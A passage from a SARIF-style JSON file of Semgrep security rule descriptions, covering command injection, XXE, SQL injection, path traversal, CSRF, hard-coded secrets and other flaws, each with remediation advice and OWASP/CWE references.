Rule](https://semgrep.dev/r/java.micronaut.command-injection.tainted-system-command-msg.tainted-system-command-msg)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)"},"helpUri":"https://semgrep.dev/r/java.micronaut.command-injection.tainted-system-command-msg.tainted-system-command-msg","id":"java.micronaut.command-injection.tainted-system-command-msg.tainted-system-command-msg","name":"java.micronaut.command-injection.tainted-system-command-msg.tainted-system-command-msg","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.command-injection.tainted-system-command-msg.tainted-system-command-msg"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Document Builder being instantiated without calling the `setFeature` functions that are generally used for disabling entity processing. User controlled data in XML Document builder can result in XML Internal Entity Processing vulnerabilities like the disclosure of confidential data, denial of service, Server Side Request Forgery (SSRF), port scanning. Make sure to disable entity processing functionality."},"help":{"markdown":"Document Builder being instantiated without calling the `setFeature` functions that are generally used for disabling entity processing. User controlled data in XML Document builder can result in XML Internal Entity Processing vulnerabilities like the disclosure of confidential data, denial of service, Server Side Request Forgery (SSRF), port scanning. Make sure to disable entity processing functionality.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.lang.security.audit.documentbuilder-dtd-enabled.documentbuilder-dtd-enabled)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Document Builder being instantiated without calling the `setFeature` functions that are generally used for disabling entity processing. User controlled data in XML Document builder can result in XML Internal Entity Processing vulnerabilities like the disclosure of confidential data, denial of service, Server Side Request Forgery (SSRF), port scanning. Make sure to disable entity processing functionality."},"helpUri":"https://semgrep.dev/r/scala.lang.security.audit.documentbuilder-dtd-enabled.documentbuilder-dtd-enabled","id":"scala.lang.security.audit.documentbuilder-dtd-enabled.documentbuilder-dtd-enabled","name":"scala.lang.security.audit.documentbuilder-dtd-enabled.documentbuilder-dtd-enabled","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: scala.lang.security.audit.documentbuilder-dtd-enabled.documentbuilder-dtd-enabled"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Prefer Argon2id where possible. Per RFC9016, section 4 IETF recommends selecting Argon2id unless you can guarantee an adversary has no direct access to the computing environment."},"help":{"markdown":"Prefer Argon2id where possible. Per RFC9016, section 4 IETF recommends selecting Argon2id unless you can guarantee an adversary has no direct access to the computing environment.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.argon2.security.unsafe-argon2-config.unsafe-argon2-config)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html)\n - [https://eprint.iacr.org/2016/759.pdf](https://eprint.iacr.org/2016/759.pdf)\n - [https://www.cs.tau.ac.il/~tromer/papers/cache-joc-20090619.pdf](https://www.cs.tau.ac.il/~tromer/papers/cache-joc-20090619.pdf)\n - [https://datatracker.ietf.org/doc/html/rfc9106#section-4](https://datatracker.ietf.org/doc/html/rfc9106#section-4)\n","text":"Prefer Argon2id where possible. Per RFC9016, section 4 IETF recommends selecting Argon2id unless you can guarantee an adversary has no direct access to the computing environment."},"helpUri":"https://semgrep.dev/r/javascript.argon2.security.unsafe-argon2-config.unsafe-argon2-config","id":"javascript.argon2.security.unsafe-argon2-config.unsafe-argon2-config","name":"javascript.argon2.security.unsafe-argon2-config.unsafe-argon2-config","properties":{"precision":"very-high","tags":["CWE-916: Use of Password Hash With Insufficient Computational Effort","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.argon2.security.unsafe-argon2-config.unsafe-argon2-config"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"ERC777 tokensReceived() reentrancy"},"help":{"markdown":"ERC777 tokensReceived() reentrancy\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.erc777-reentrancy.erc777-reentrancy)\n - [https://mirror.xyz/baconcoin.eth/LHaPiX38mnx8eJ2RVKNXHttHfweQMKNGmEnX4KUksk0](https://mirror.xyz/baconcoin.eth/LHaPiX38mnx8eJ2RVKNXHttHfweQMKNGmEnX4KUksk0)\n - [https://etherscan.io/address/0xf53f00f844b381963a47fde3325011566870b31f](https://etherscan.io/address/0xf53f00f844b381963a47fde3325011566870b31f)\n","text":"ERC777 tokensReceived() reentrancy"},"helpUri":"https://semgrep.dev/r/solidity.security.erc777-reentrancy.erc777-reentrancy","id":"solidity.security.erc777-reentrancy.erc777-reentrancy","name":"solidity.security.erc777-reentrancy.erc777-reentrancy","properties":{"precision":"very-high","tags":["CWE-841: Improper Enforcement of Behavioral Workflow","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.erc777-reentrancy.erc777-reentrancy"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The $$VARIABLE path parameter is added as a header in the response. This could allow an attacker to inject a newline and add a new header into the response. This is called HTTP response splitting. To fix, do not allow whitespace in the path parameter: '[^\\s]+'."},"help":{"markdown":"The $$VARIABLE path parameter is added as a header in the response. This could allow an attacker to inject a newline and add a new header into the response. This is called HTTP response splitting. To fix, do not allow whitespace in the path parameter: '[^\\s]+'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.nginx.security.header-injection.header-injection)\n - [https://github.com/yandex/gixy/blob/master/docs/en/plugins/httpsplitting.md](https://github.com/yandex/gixy/blob/master/docs/en/plugins/httpsplitting.md)\n - [https://owasp.org/www-community/attacks/HTTP_Response_Splitting](https://owasp.org/www-community/attacks/HTTP_Response_Splitting)\n","text":"The $$VARIABLE path parameter is added as a header in the response. This could allow an attacker to inject a newline and add a new header into the response. This is called HTTP response splitting. To fix, do not allow whitespace in the path parameter: '[^\\s]+'."},"helpUri":"https://semgrep.dev/r/generic.nginx.security.header-injection.header-injection","id":"generic.nginx.security.header-injection.header-injection","name":"generic.nginx.security.header-injection.header-injection","properties":{"precision":"very-high","tags":["CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: generic.nginx.security.header-injection.header-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The FsPickler is dangerous and is not recommended for data processing. Default configuration tend to insecure deserialization vulnerability."},"help":{"markdown":"The FsPickler is dangerous and is not recommended for data processing. Default configuration tend to insecure deserialization vulnerability.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.fs-pickler.insecure-fspickler-deserialization)\n - [https://mbraceproject.github.io/FsPickler/tutorial.html#Disabling-Subtype-Resolution](https://mbraceproject.github.io/FsPickler/tutorial.html#Disabling-Subtype-Resolution)\n","text":"The FsPickler is dangerous and is not recommended for data processing. Default configuration tend to insecure deserialization vulnerability."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.fs-pickler.insecure-fspickler-deserialization","id":"csharp.lang.security.insecure-deserialization.fs-pickler.insecure-fspickler-deserialization","name":"csharp.lang.security.insecure-deserialization.fs-pickler.insecure-fspickler-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.insecure-deserialization.fs-pickler.insecure-fspickler-deserialization"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.mssql.node-mssql-empty-password.node-mssql-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/javascript.mssql.node-mssql-empty-password.node-mssql-empty-password","id":"javascript.mssql.node-mssql-empty-password.node-mssql-empty-password","name":"javascript.mssql.node-mssql-empty-password.node-mssql-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.mssql.node-mssql-empty-password.node-mssql-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.openai.openai-hardcoded-secret.openai-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.openai.openai-hardcoded-secret.openai-hardcoded-secret","id":"go.secrets.openai.openai-hardcoded-secret.openai-hardcoded-secret","name":"go.secrets.openai.openai-hardcoded-secret.openai-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.openai.openai-hardcoded-secret.openai-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. $PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\"). For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. $PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\"). For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.validator-xxe.validator-xxe)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. $PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\"). For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.validator-xxe.validator-xxe","id":"java.lang.security.xxe.validator-xxe.validator-xxe","name":"java.lang.security.xxe.validator-xxe.validator-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.validator-xxe.validator-xxe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the file path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the file path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.express-fs-filename.express-fs-filename)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the file path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/javascript.express.express-fs-filename.express-fs-filename","id":"javascript.express.express-fs-filename.express-fs-filename","name":"javascript.express.express-fs-filename.express-fs-filename","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.express-fs-filename.express-fs-filename"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. If this wasn't intentional, it's recommended to set the Secure flag to true so that all session cookies will be by default sent over HTTPS. It is also possible to use the flask-talisman extension to enforce a secure configuration."},"help":{"markdown":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. If this wasn't intentional, it's recommended to set the Secure flag to true so that all session cookies will be by default sent over HTTPS. It is also possible to use the flask-talisman extension to enforce a secure configuration.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.web.flask-cookie-app-config-secure-false.flask-cookie-app-config-secure-false)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. If this wasn't intentional, it's recommended to set the Secure flag to true so that all session cookies will be by default sent over HTTPS. It is also possible to use the flask-talisman extension to enforce a secure configuration."},"helpUri":"https://semgrep.dev/r/python.flask.web.flask-cookie-app-config-secure-false.flask-cookie-app-config-secure-false","id":"python.flask.web.flask-cookie-app-config-secure-false.flask-cookie-app-config-secure-false","name":"python.flask.web.flask-cookie-app-config-secure-false.flask-cookie-app-config-secure-false","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.web.flask-cookie-app-config-secure-false.flask-cookie-app-config-secure-false"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option."},"help":{"markdown":"Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.sqlalchemy.security.sqlalchemy-execute-raw-query.sqlalchemy-execute-raw-query)\n - [https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql](https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql)\n - [https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm](https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm)\n - [https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column](https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column)\n","text":"Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option."},"helpUri":"https://semgrep.dev/r/python.sqlalchemy.security.sqlalchemy-execute-raw-query.sqlalchemy-execute-raw-query","id":"python.sqlalchemy.security.sqlalchemy-execute-raw-query.sqlalchemy-execute-raw-query","name":"python.sqlalchemy.security.sqlalchemy-execute-raw-query.sqlalchemy-execute-raw-query","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.sqlalchemy.security.sqlalchemy-execute-raw-query.sqlalchemy-execute-raw-query"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Data from request is passed to os.path.join() and to open(). This is a path traversal vulnerability, which can lead to sensitive data being leaked. To mitigate, consider using os.path.abspath or os.path.realpath or Path library."},"help":{"markdown":"Data from request is passed to os.path.join() and to open(). This is a path traversal vulnerability, which can lead to sensitive data being leaked. To mitigate, consider using os.path.abspath or os.path.realpath or Path library.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.path-traversal.path-traversal-join.path-traversal-join)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n","text":"Data from request is passed to os.path.join() and to open(). This is a path traversal vulnerability, which can lead to sensitive data being leaked. To mitigate, consider using os.path.abspath or os.path.realpath or Path library."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.path-traversal.path-traversal-join.path-traversal-join","id":"python.django.security.injection.path-traversal.path-traversal-join.path-traversal-join","name":"python.django.security.injection.path-traversal.path-traversal-join.path-traversal-join","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.path-traversal.path-traversal-join.path-traversal-join"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. (preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, properly quote and escape all input to prevent shell injection. This is a secure by default approach."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. (preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, properly quote and escape all input to prevent shell injection. This is a secure by default approach.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.os.tainted-os-command-stdlib-flask-secure-default.tainted-os-command-stdlib-flask-secure-default)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#using-the-subprocess-module](https://docs.python.org/3/library/subprocess.html#using-the-subprocess-module)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. (preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, properly quote and escape all input to prevent shell injection. This is a secure by default approach."},"helpUri":"https://semgrep.dev/r/python.flask.os.tainted-os-command-stdlib-flask-secure-default.tainted-os-command-stdlib-flask-secure-default","id":"python.flask.os.tainted-os-command-stdlib-flask-secure-default.tainted-os-command-stdlib-flask-secure-default","name":"python.flask.os.tainted-os-command-stdlib-flask-secure-default.tainted-os-command-stdlib-flask-secure-default","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.os.tainted-os-command-stdlib-flask-secure-default.tainted-os-command-stdlib-flask-secure-default"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. To prevent this vulnerability start by identifying if the framework or library leveraged has built-in features or offers plugins for CSRF protection. CSRF tokens should be unique and securely random. The `Synchronizer Token` or `Double Submit Cookie` patterns with defense-in-depth mechanisms such as the `sameSite` cookie flag can help prevent CSRF. For more information, see: [Cross-site request forgery prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)"},"help":{"markdown":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. To prevent this vulnerability start by identifying if the framework or library leveraged has built-in features or offers plugins for CSRF protection. CSRF tokens should be unique and securely random. The `Synchronizer Token` or `Double Submit Cookie` patterns with defense-in-depth mechanisms such as the `sameSite` cookie flag can help prevent CSRF. For more information, see: [Cross-site request forgery prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.audit.cookie-missing-samesite.cookie-missing-samesite)\n - [https://stackoverflow.com/questions/42717210/samesite-cookie-in-java-application](https://stackoverflow.com/questions/42717210/samesite-cookie-in-java-application)\n","text":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. To prevent this vulnerability start by identifying if the framework or library leveraged has built-in features or offers plugins for CSRF protection. CSRF tokens should be unique and securely random. The `Synchronizer Token` or `Double Submit Cookie` patterns with defense-in-depth mechanisms such as the `sameSite` cookie flag can help prevent CSRF. For more information, see: [Cross-site request forgery prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)"},"helpUri":"https://semgrep.dev/r/java.servlets.security.audit.cookie-missing-samesite.cookie-missing-samesite","id":"java.servlets.security.audit.cookie-missing-samesite.cookie-missing-samesite","name":"java.servlets.security.audit.cookie-missing-samesite.cookie-missing-samesite","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.audit.cookie-missing-samesite.cookie-missing-samesite"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Stacktrace information is displayed in a non-Development environment. Accidentally disclosing sensitive stack trace information in a production environment aids an attacker in reconnaissance and information gathering."},"help":{"markdown":"Stacktrace information is displayed in a non-Development environment. Accidentally disclosing sensitive stack trace information in a production environment aids an attacker in reconnaissance and information gathering.\n\n<b>References:</b>\n - [Semgrep 